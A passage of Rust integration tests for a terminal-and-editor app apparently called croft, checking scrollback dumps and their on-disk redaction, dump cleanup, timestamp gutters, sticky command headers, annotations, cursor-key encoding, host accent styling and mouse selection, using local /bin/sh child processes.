    // [A(dump) | B(focused)] -> blank B -> focus A -> split A again:
    // [[A(dump) | C(focused)] | B(blank)], so A and B are both inactive.
    app.split_editor();
    app.editor.close_tab(0);
    app.focus_editor_group(true);
    assert!(
        app.editor.path.is_some(),
        "fixture: the dump's group is focused"
    );
    app.split_editor();
    let inactive = app.editor_layout.inactive_groups();
    assert_eq!(inactive.len(), 2, "fixture: two inactive groups");
    assert!(
        inactive.iter().any(|g| g.is_blank_initial())
            && inactive.iter().any(|g| g
                .find_tab_with_path(app.editor.path.as_ref().unwrap())
                .is_some()),
        "fixture: one blank, one holding the dump"
    );
    app.focus_pane(Pane::Terminal);
    app.open_scrollback_in_editor();
    let inactive = app.editor_layout.inactive_groups();
    assert!(
        app.editor_layout.is_split(),
        "the user's blank group keeps its split"
    );
    assert_eq!(
        inactive.len(),
        1,
        "exactly the emptied group is gone: {} left",
        inactive.len()
    );
    assert!(
        inactive[0].is_blank_initial(),
        "and the survivor is the user's blank group"
    );
}

/// A dump that cannot reach the disk still leaves the user the text: the
/// plain rows land in the scratch buffer and the status says why.
#[test]
fn a_scrollback_dump_that_cannot_be_written_falls_back_to_the_plain_buffer() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // A file where the dir's parent should be: nothing can be created under it.
    let blocker = tmp.path().join("blocker");
    std::fs::write(&blocker, "not a dir").unwrap();
    app.scrollback_dir = blocker.join("dumps");
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from("s=QQ; printf \"\\033[32m${s}FALL\\033[0m\\n\"; sleep 30"),
        ],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        std::time::Duration::from_millis(500),
        "the coloured row",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("QQFALL"))
        },
    );
    app.open_scrollback_in_editor();
    assert!(app.editor.log.is_none(), "no rendered log view opened");
    assert!(
        app.editor.lines.iter().any(|l| l.contains("QQFALL")),
        "the plain text is in the buffer: {:?}",
        app.editor.lines
    );
    assert!(
        app.status.starts_with("Rendered scrollback unavailable"),
        "the status says why: {:?}",
        app.status
    );
}

/// Dumps are named by pid, so a croft that exits leaves its dumps behind
/// with no process that will ever overwrite them; the next dump reaps the
/// files of pids that are gone and leaves live processes' files alone.
#[cfg(unix)]
#[test]
fn a_scrollback_dump_reaps_the_dumps_of_dead_processes() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.scrollback_dir = tmp.path().join("dumps");
    std::fs::create_dir_all(&app.scrollback_dir).unwrap();
    // A pid that is certainly gone: a child that has already been reaped.
    let mut child = std::process::Command::new("true").spawn().unwrap();
    child.wait().unwrap();
    let dead = app
        .scrollback_dir
        .join(format!("shell-{}-1-scrollback.log", child.id()));
    std::fs::write(&dead, "gone").unwrap();
    let live = app
        .scrollback_dir
        .join(format!("shell-{}-99-scrollback.log", std::process::id()));
    std::fs::write(&live, "mine").unwrap();
    let other = app.scrollback_dir.join("notes.txt");
    std::fs::write(&other, "not a dump").unwrap();
    // A pid no `pid_t` can hold reads as alive: a false "alive" only leaks
    // a file, a false "dead" would delete one.
    let huge = app.scrollback_dir.join("shell-4294967295-1-scrollback.log");
    std::fs::write(&huge, "?").unwrap();
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from("s=QQ; printf \"\\033[32m${s}REAP\\033[0m\\n\"; sleep 30"),
        ],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        std::time::Duration::from_millis(500),
        "the coloured row",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("QQREAP"))
        },
    );
    app.open_scrollback_in_editor();
    assert!(app.editor.path.is_some(), "the dump itself landed");
    assert!(!dead.exists(), "a dead process's dump is reaped");
    assert!(live.exists(), "this process's other dump stays");
    assert!(other.exists(), "a file that is not a dump is not touched");
    assert!(huge.exists(), "a pid outside pid_t is left alone");
}

/// The dump is a new on-disk copy of pane output, so the redact rules must
/// hold on disk too: the matching row is written masked (and gives up its
/// colour), while a neighbouring row keeps its colour.
#[test]
fn a_scrollback_dump_is_redacted_on_disk_and_only_the_masked_row_loses_colour() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.scrollback_dir = tmp.path().join("dumps");
    app.triggers = std::sync::Arc::new(crate::triggers::TriggerSet::from_json(
        r#"[{ "regex": "token \\S+", "action": "redact" }]"#,
    ));
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from(
                "s=QQ; printf \"\\033[32m${s}SAFE\\033[0m\\n\"; \
                 printf \"\\033[31mtoken ${s}SECRET99\\033[0m\\n\"; sleep 30",
            ),
        ],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(std::time::Duration::from_millis(500), "both rows", || {
        app.terminals[0]
            .grid_lines()
            .0
            .iter()
            .any(|l| l.contains("QQSECRET99"))
    });
    app.open_scrollback_in_editor();
    let path = app.editor.path.clone().expect("the dump has a path");
    let on_disk = std::fs::read_to_string(&path).unwrap();
    assert!(
        !on_disk.contains("QQSECRET99"),
        "the secret never reaches the disk: {on_disk:?}"
    );
    let masked_row = on_disk
        .lines()
        .find(|l| l.contains(crate::triggers::MASK))
        .expect("the matching row is written masked");
    assert!(
        !masked_row.contains('\x1b'),
        "the masked row gives up its colour: {masked_row:?}"
    );
    let safe_row = on_disk
        .lines()
        .find(|l| l.contains("QQSAFE"))
        .expect("the neighbouring row is there");
    assert!(
        safe_row.contains("\x1b[32m"),
        "and keeps its colour: {safe_row:?}"
    );
}

#[test]
fn timestamps_gutter_toggles_on_and_shows_arrival_times() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from("g=gutter; echo ${g}-row-9; sleep 30"),
        ],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the pane output \"gutter-row-9\"",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.starts_with("gutter-row-9"))
        },
    );
    fn screen_rows(term: &ratatui::Terminal<ratatui::backend::TestBackend>) -> Vec<String> {
        let buf = term.backend().buffer();
        (0..buf.area.height)
            .map(|y| {
                (0..buf.area.width)
                    .map(|x| buf[(x, y)].symbol().chars().next().unwrap_or(' '))
                    .collect()
            })
            .collect()
    }
    fn gutter_of(rows: &[String], needle: &str) -> Option<String> {
        let row = rows.iter().find(|r| r.contains(needle))?;
        let inner = row.trim_end().trim_end_matches(['│', '┃']);
        Some(
            inner
                .chars()
                .rev()
                .take(8)
                .collect::<String>()
                .chars()
                .rev()
                .collect(),
        )
    }
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();

    // Off by default: the row ends with its own text, no clock.
    term.draw(|f| app.render(f)).unwrap();
    let g = gutter_of(&screen_rows(&term), "gutter-row-9").unwrap_or_default();
    assert!(
        !g.chars().filter(|c| *c == ':').count().eq(&2),
        "no gutter while the toggle is off: {g:?}"
    );

    app.toggle_terminal_timestamps();
    assert!(app.show_terminal_timestamps);
    term.draw(|f| app.render(f)).unwrap();
    let g = gutter_of(&screen_rows(&term), "gutter-row-9").expect("row still on screen");
    let looks_like_clock = g.len() == 8
        && g.as_bytes()[2] == b':'
        && g.as_bytes()[5] == b':'
        && g.chars().filter(|c| c.is_ascii_digit()).count() == 6;
    assert!(
        looks_like_clock,
        "the toggled gutter shows HH:MM:SS at the row's right edge: {g:?}"
    );

    app.toggle_terminal_timestamps();
    term.draw(|f| app.render(f)).unwrap();
    let g = gutter_of(&screen_rows(&term), "gutter-row-9").unwrap_or_default();
    assert!(
        !(g.len() == 8 && g.as_bytes()[2] == b':' && g.as_bytes()[5] == b':'),
        "toggling off removes the gutter: {g:?}"
    );
}

#[test]
fn sticky_command_header_pins_the_command_while_scrolled_into_its_output() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Full OSC 133 marks around a runtime-assembled command (the pane's
    // `▶ …` run header echoes the script text, so the typed command must
    // never appear verbatim in it), then enough output to scroll.
    let script = "b=build; printf \"\\033]133;A\\007$ \\033]133;B\\007${b}-it-77 now\\n\\033]133;C\\007\"; i=0; while [ $i -lt 80 ]; do echo out-$i; i=$((i+1)); done; printf '\\033]133;D;0\\007'; sleep 30";
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), String::from(script)],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the command to finish",
        || !app.terminals[0].command_decorations().is_empty(),
    );
    fn screen_rows(term: &ratatui::Terminal<ratatui::backend::TestBackend>) -> Vec<String> {
        let buf = term.backend().buffer();
        (0..buf.area.height)
            .map(|y| {
                (0..buf.area.width)
                    .map(|x| buf[(x, y)].symbol().chars().next().unwrap_or(' '))
                    .collect()
            })
            .collect()
    }
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let inner = app.terminals[0].last_inner;

    // At the live bottom nothing pins.
    let rows = screen_rows(&term);
    assert!(
        !rows[inner.y as usize].contains("build-it-77"),
        "no header at the live bottom: {:?}",
        rows[inner.y as usize]
    );

    // Scroll so the viewport's top row sits inside the command's output,
    // with its prompt above the view: the typed command pins to row 0.
    app.terminals[0].scroll_to_top();
    for _ in 0..4 {
        app.terminals[0].scroll_down(1);
    }
    term.draw(|f| app.render(f)).unwrap();
    let rows = screen_rows(&term);
    assert!(
        rows[inner.y as usize].contains("build-it-77 now"),
        "the command must pin to the pane's top row: {:?}",
        rows[inner.y as usize]
    );

    // Back at the live bottom the header unpins.
    app.terminals[0].reset_scrollback();
    term.draw(|f| app.render(f)).unwrap();
    let rows = screen_rows(&term);
    assert!(
        !rows[inner.y as usize].contains("build-it-77"),
        "the header unpins at the live bottom: {:?}",
        rows[inner.y as usize]
    );
}

/// Copy-mode coordinates live in the App while the pane re-anchors its
/// selection to streaming content; each keystroke used to re-push the
/// stale absolute lines, teleporting the highlight off the text the user
/// was looking at.
#[test]
fn copy_mode_keys_follow_content_that_streamed_between_presses() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    // The pane runs a real shell whose prompt arrives on its own schedule:
    // under load it landed between the fed rows and the key press and moved
    // the selection. Wait for the shell's output to settle first.
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    let mut last = app.terminals[0].grid_lines().0;
    let mut quiet_since = std::time::Instant::now();
    while std::time::Instant::now() < deadline {
        std::thread::sleep(std::time::Duration::from_millis(50));
        let now = app.terminals[0].grid_lines().0;
        if now != last {
            last = now;
            quiet_since = std::time::Instant::now();
        } else if last.iter().any(|l| !l.trim().is_empty())
            && quiet_since.elapsed() > std::time::Duration::from_millis(300)
        {
            break;
        }
    }
    let mut fill = String::new();
    for i in 0..40 {
        fill.push_str(&format!("row-{i}\r\n"));
    }
    fill.push_str("row-40");
    app.terminals[0].feed_bytes_for_test(fill.as_bytes());
    app.open_terminal_copy_mode();
    app.handle_terminal_copy_mode_key(key(KeyCode::Char('v'), KeyModifiers::NONE));
    // Five rows stream while the user pauses between keys; the pane
    // re-anchors the selection to keep it on row-40.
    let mut more = String::new();
    for i in 0..5 {
        more.push_str(&format!("\r\nx-{i}"));
    }
    app.terminals[0].feed_bytes_for_test(more.as_bytes());
    app.handle_terminal_copy_mode_key(key(KeyCode::Char('k'), KeyModifiers::NONE));
    let text = app.terminals[0].selection_text();
    assert!(
        text.contains("row-40"),
        "the selection must stay on the content the user was on, got: {text:?}"
    );
}

/// Clicking an annotated span pops its note, but that branch used to
/// return before the mouse-up cleanup: the zero-area selection the
/// mouse-down planted stayed painted as a one-cell highlight and the
/// pane-drag latch stayed armed.
#[test]
fn clicking_an_annotated_span_still_clears_the_click_selection() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // A SILENT pane (#477). `App::new` spawns the user's interactive shell,
    // whose prompt lands whenever the machine gets round to it; a prompt
    // arriving between the anchor below and the click scrolled the
    // annotation off the row the click was aimed at, and the popup
    // assertion read as "annotation hover broke" on a merely busy host.
    // A child that prints nothing cannot move the grid, so the only bytes
    // on it are the ones this test feeds.
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), String::from("sleep 30")],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    app.terminals[0].feed_bytes_for_test(b"annotated words here\r\n");
    // Anchor the note to the grid line the text actually landed on and aim
    // the click at that same line, rather than assuming both are row 0.
    let line = app.terminals[0]
        .find_captured_line("annotated words here")
        .expect("the fed text is on the grid");
    assert!(
        line >= 0,
        "with no scrollback the text sits on a viewport row, got line {line}"
    );
    let clock = app.terminals[0].scroll_clock();
    app.terminals[0].add_annotation(line, clock, 0, 15, String::from("the note"));
    let inner = app.terminals[0].last_inner;
    let (cx, cy) = (inner.x + 2, inner.y + line as u16);
    assert!(
        app.terminals[0]
            .line_text_at(cx, cy)
            .is_some_and(|(text, idx)| text.starts_with("annotated words here") && idx == 2),
        "the click must land ON the annotated text, or the popup assertion is vacuous"
    );
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), cx, cy));
    app.handle_mouse(mouse(MouseEventKind::Up(MouseButton::Left), cx, cy));
    assert!(app.hover_popup.is_some(), "the click must pop the note");
    assert!(
        app.terminals[0].selection().is_none(),
        "the zero-area click selection must not stay painted"
    );
}

#[test]
fn a_plain_click_on_the_prompt_row_moves_the_shell_cursor() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let sink = tmp.path().join("clicks.bin");
    // The shell's `dd` captures exactly what the click writes to the PTY.
    let script = format!(
        "h=hello; printf '\\033]133;A\\007$ \\033]133;B\\007'; printf \"${{h}}-world\"; stty raw -echo 2>/dev/null; dd bs=1 count=33 of={} 2>/dev/null; sleep 30",
        sink.display()
    );
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), script],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the prompt text",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("hello-world"))
        },
    );
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let inner = app.terminals[0].last_inner;
    let (lines, top) = app.terminals[0].grid_lines();
    let vrow = (lines
        .iter()
        .position(|l| l.contains("hello-world"))
        .unwrap() as i32
        + top) as u16;
    let (x, y) = (inner.x + 2, inner.y + vrow);
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), x, y));
    app.handle_mouse(mouse(MouseEventKind::Up(MouseButton::Left), x, y));
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the click's arrow keys to reach the shell (33 bytes)",
        || std::fs::read(&sink).unwrap_or_default().len() == 33,
    );
    assert_eq!(
        std::fs::read(&sink).unwrap(),
        b"\x1b[D".repeat(11),
        "eleven left-arrows bring the cursor from after 'd' to 'h'"
    );
}

/// An app that enables application cursor keys (DECCKM, `\e[?1h`) — Python's
/// REPL binds arrows from terminfo's application-mode entries — must receive
/// arrows and Home/End as SS3 (`\eOA`…), not the normal-mode CSI form the
/// REPL does not recognize (vitali87/croft#1).
#[test]
fn arrow_keys_reach_an_app_cursor_mode_child_as_ss3() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let sink = tmp.path().join("keys.bin");
    // The child turns on DECCKM, then `dd` captures exactly what the six
    // key presses write to the PTY (six 3-byte sequences).
    // The sentinel is assembled at runtime ("${s}DY_MARK") because the pane
    // header echoes this script text verbatim; a literal sentinel would match
    // before the child has run at all.
    let script = format!(
        "s=REA; printf '\\033[?1h'; printf \"${{s}}DY_MARK\"; stty raw -echo 2>/dev/null; dd bs=1 count=18 of={} 2>/dev/null; sleep 30",
        sink.display()
    );
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), script],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the child to turn on app cursor mode",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("READY_MARK"))
        },
    );
    for code in [
        KeyCode::Up,
        KeyCode::Down,
        KeyCode::Right,
        KeyCode::Left,
        KeyCode::Home,
        KeyCode::End,
    ] {
        app.handle_terminal_key(key(code, KeyModifiers::NONE));
    }
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the key presses to reach the child (18 bytes)",
        || std::fs::read(&sink).unwrap_or_default().len() == 18,
    );
    assert_eq!(
        std::fs::read(&sink).unwrap(),
        b"\x1bOA\x1bOB\x1bOC\x1bOD\x1bOH\x1bOF",
        "DECCKM is on: keys must arrive in the SS3 application form"
    );
}

/// Broadcast input fans one keystroke out to panes whose children disagree
/// about DECCKM. Each pane must receive the form its own child asked for
/// (bash's readline leaves DECCKM off while zsh turns it on, so mixed panes
/// are the normal case): pane 0 stays in normal mode and must get CSI, pane
/// 1 turns application cursor keys on and must get SS3.
#[test]
fn broadcast_arrows_encode_per_pane_cursor_mode() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let sink_a = tmp.path().join("a.bin");
    let sink_b = tmp.path().join("b.bin");
    // Runtime-assembled sentinel: the pane header echoes the script text.
    let script_a = format!(
        "s=REA; printf \"${{s}}DY_MARK\"; stty raw -echo 2>/dev/null; dd bs=1 count=3 of={} 2>/dev/null; sleep 30",
        sink_a.display()
    );
    let script_b = format!(
        "s=REA; printf '\\033[?1h'; printf \"${{s}}DY_MARK\"; stty raw -echo 2>/dev/null; dd bs=1 count=3 of={} 2>/dev/null; sleep 30",
        sink_b.display()
    );
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), script_a],
        tmp.path(),
    )
    .unwrap();
    app.terminals.push(
        crate::widgets::terminal::PtyTerminal::new_running(
            "/bin/sh",
            &[String::from("-c"), script_b],
            tmp.path(),
        )
        .unwrap(),
    );
    app.active_terminal = 0;
    app.broadcast_input = true;
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the children to reach their prompts",
        || {
            app.terminals
                .iter()
                .all(|t| t.grid_lines().0.iter().any(|l| l.contains("READY_MARK")))
        },
    );
    app.handle_terminal_key(key(KeyCode::Up, KeyModifiers::NONE));
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the broadcast to reach both panes (3 bytes each)",
        || {
            std::fs::read(&sink_a).unwrap_or_default().len() == 3
                && std::fs::read(&sink_b).unwrap_or_default().len() == 3
        },
    );
    assert_eq!(
        std::fs::read(&sink_a).unwrap(),
        b"\x1b[A",
        "normal-mode pane must get the CSI form"
    );
    assert_eq!(
        std::fs::read(&sink_b).unwrap(),
        b"\x1bOA",
        "DECCKM pane must get the SS3 form"
    );
}

#[test]
fn cmd_k_n_annotates_the_selection_and_a_click_shows_the_note() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from("m=mark; echo ${m}-this-output; sleep 30"),
        ],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the pane output \"mark-this-output\"",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.starts_with("mark-this-output"))
        },
    );
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let inner = app.terminals[0].last_inner;
    let (lines, top) = app.terminals[0].grid_lines();
    let vrow = (top
        + lines
            .iter()
            .position(|l| l.starts_with("mark-this-output"))
            .unwrap() as i32) as u16;

    // Select the word and annotate it through the prompt.
    app.terminals[0].start_selection_at(inner.x, inner.y + vrow);
    app.terminals[0].extend_selection_to(inner.x + 15, inner.y + vrow);
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('n'), KeyModifiers::NONE)));
    assert!(
        app.prompt.is_some(),
        "Cmd+K N must open the annotation prompt"
    );
    app.prompt.as_mut().unwrap().buffer = String::from("broke here");
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert!(app.prompt.is_none());
    let (_, text) = app.terminals[0]
        .annotation_at(inner.x + 3, inner.y + vrow)
        .expect("the annotation must exist over the selected span");
    assert_eq!(text, "broke here");

    // The span renders amber + underlined.
    term.draw(|f| app.render(f)).unwrap();
    let style = term.backend().buffer()[(inner.x + 3, inner.y + vrow)].style();
    assert_eq!(
        style.fg,
        Some(ratatui::style::Color::Rgb(0xe5, 0xc0, 0x7b)),
        "annotated cells are tinted amber"
    );
    assert!(
        style
            .add_modifier
            .contains(ratatui::style::Modifier::UNDERLINED),
        "annotated cells are underlined"
    );

    // A plain click on the span pops the note.
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        inner.x + 3,
        inner.y + vrow,
    ));
    app.handle_mouse(mouse(
        MouseEventKind::Up(MouseButton::Left),
        inner.x + 3,
        inner.y + vrow,
    ));
    let popup = app
        .hover_popup
        .as_ref()
        .expect("clicking the span shows the note");
    assert!(
        popup.lines.iter().any(|l| l.contains("broke here")),
        "popup carries the note text"
    );

    // The note must actually be PAINTED, not just set. Regression: the
    // hover popup rendered only inside the editor-tabs branch, so with the
    // welcome screen up (no file open — exactly a fresh croft) the click
    // set the popup but nothing ever drew it.
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer();
    let painted = (0..buf.area.height).any(|y| {
        (0..buf.area.width)
            .map(|x| buf[(x, y)].symbol())
            .collect::<String>()
            .contains("broke here")
    });
    assert!(
        painted,
        "the note popup must be painted on screen even with the welcome screen up"
    );

    // A real mouse drifts right after the click: the note must survive
    // pointer motion while it stays on the annotated span, and dismiss
    // once the pointer leaves it (regression: any move outside the editor
    // used to kill the popup instantly).
    app.handle_mouse(mouse(MouseEventKind::Moved, inner.x + 4, inner.y + vrow));
    assert!(
        app.hover_popup.is_some(),
        "drifting within the span must keep the note open"
    );
    app.handle_mouse(mouse(MouseEventKind::Moved, inner.x + 60, inner.y + vrow));
    assert!(
        app.hover_popup.is_none(),
        "leaving the span dismisses the note"
    );

    // Cmd+K Shift+N over the span deletes it.
    app.terminals[0].start_selection_at(inner.x + 2, inner.y + vrow);
    app.terminals[0].extend_selection_to(inner.x + 5, inner.y + vrow);
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('N'), KeyModifiers::SHIFT)));
    assert!(
        app.terminals[0]
            .annotation_at(inner.x + 3, inner.y + vrow)
            .is_none(),
        "Cmd+K Shift+N deletes the annotation under the selection"
    );
}

#[test]
fn host_accent_rules_dress_matching_panes() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_host_accents(&[crate::prefs::HostAccentRule {
        pattern: String::from("prod-*"),
        accent: None, // defaults to the danger red
        badge: Some(String::from("PROD")),
    }]);
    // Pane 0 reports a production hostname over OSC 7; pane 1 stays plain.
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from("printf '\\033]7;file://prod-db-1/tmp\\007'; sleep 30"),
        ],
        tmp.path(),
    )
    .unwrap();
    app.terminals[0].set_manual_name(Some(String::from("db")));
    app.terminals.push(
        crate::widgets::terminal::PtyTerminal::new_running(
            "/bin/sh",
            &[String::from("-c"), String::from("sleep 30")],
            tmp.path(),
        )
        .unwrap(),
    );
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the OSC 7 host",
        || app.terminals[0].shell_host().as_deref() == Some("prod-db-1"),
    );
    let backend = ratatui::backend::TestBackend::new(140, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let area = app.terminals[0].last_area;
    let red = Some(ratatui::style::Color::Rgb(0xf1, 0x4c, 0x4c));
    let border = term.backend().buffer()[(area.x, area.y + 1)].style();
    assert_eq!(
        border.fg, red,
        "a matching pane's border wears the accent color"
    );
    let inner = app.terminals[0].last_inner;
    let top_row: String = (inner.x..inner.x + inner.width)
        .map(|x| {
            term.backend().buffer()[(x, inner.y)]
                .symbol()
                .chars()
                .next()
                .unwrap_or(' ')
        })
        .collect();
    assert!(
        top_row.contains("PROD"),
        "the badge watermark sits on the pane's top row: {top_row:?}"
    );
    let pill_row: String = (area.x..area.x + area.width)
        .map(|x| {
            term.backend().buffer()[(x, area.y)]
                .symbol()
                .chars()
                .next()
                .unwrap_or(' ')
        })
        .collect();
    assert!(
        pill_row.contains("\u{26a0} db"),
        "the name pill carries the warning mark: {pill_row:?}"
    );

    // The plain pane keeps croft's normal border color.
    let other = app.terminals[1].last_area;
    let other_border = term.backend().buffer()[(other.x, other.y + 1)].style();
    assert_ne!(
        other_border.fg, red,
        "a non-matching pane must not wear the accent"
    );
}

#[test]
fn alt_screen_upward_drag_through_the_real_mouse_pipeline_selects_upward() {
    // Field report: mouse-down on a word mid-pane inside Claude Code,
    // drag UP, and the highlight ran DOWNWARD instead — the drift math
    // measured against the selection's top, which mid-drag is the pointer,
    // so every event "corrected" a phantom shift and walked the anchor
    // down. Reproduce through the production dispatch: an alt-screen
    // mouse-tracking app, a press mid-pane, upward drags, with app
    // repaints (animated status row) and renders between every event.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    // Few enough rows that nothing scrolls in the pane's alt grid. The
    // modes are Claude Code's own pair: click-only 1000 with SGR 1006. Since
    // #474 the press is forwarded to such a child, but a drag is croft's
    // selection because the child never asked for motion -- under 1002 this
    // same plain drag would be the app's and Shift would be needed.
    let mut screen = String::from("\x1b[?1049h\x1b[?1000h\x1b[?1006h\x1b[H\x1b[2J");
    for i in 0..6 {
        screen.push_str(&format!("transcript line number {i:02}\r\n"));
    }
    screen.push_str("tokens 100");
    app.terminal().feed_bytes_for_test(screen.as_bytes());

    let area = app.terminal().last_area;
    assert!(area.height > 9, "terminal pane must be real: {area:?}");
    let (ix, iy) = (area.x + 1, area.y + 1);
    // Press on grid row 4, then drag up to rows 3 and 2, the app
    // repainting its animated row and croft rendering between events.
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: ix,
        row: iy + 4,
        modifiers: KeyModifiers::NONE,
    });
    term.draw(|f| app.render(f)).unwrap();
    for (step, drag_row) in [iy + 3, iy + 2].into_iter().enumerate() {
        app.terminal()
            .feed_bytes_for_test(format!("\x1b[7;1Htokens 10{step}\x1b[K").as_bytes());
        app.handle_mouse(crossterm::event::MouseEvent {
            kind: crossterm::event::MouseEventKind::Drag(crossterm::event::MouseButton::Left),
            column: ix,
            row: drag_row,
            modifiers: KeyModifiers::NONE,
        });
        term.draw(|f| app.render(f)).unwrap();
    }
    let sel = app.terminal().selection().expect("drag built a selection");
    let (sr, _, er, _) = sel.normalised();
    assert_eq!(
        (sr, er),
        (2, 4),
        "dragging up two rows from row 4 must select rows 2..=4, never run downward: {sel:?}"
    );
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Up(crossterm::event::MouseButton::Left),
        column: ix,
        row: iy + 2,
        modifiers: KeyModifiers::NONE,
    });
    let sel = app
        .terminal()
        .selection()
        .expect("selection survives release");
    let (sr, _, er, _) = sel.normalised();
    assert_eq!(
        (sr, er),
        (2, 4),
        "release must not move the selection: {sel:?}"
    );
    assert_eq!(
        app.terminal().selection_text(),
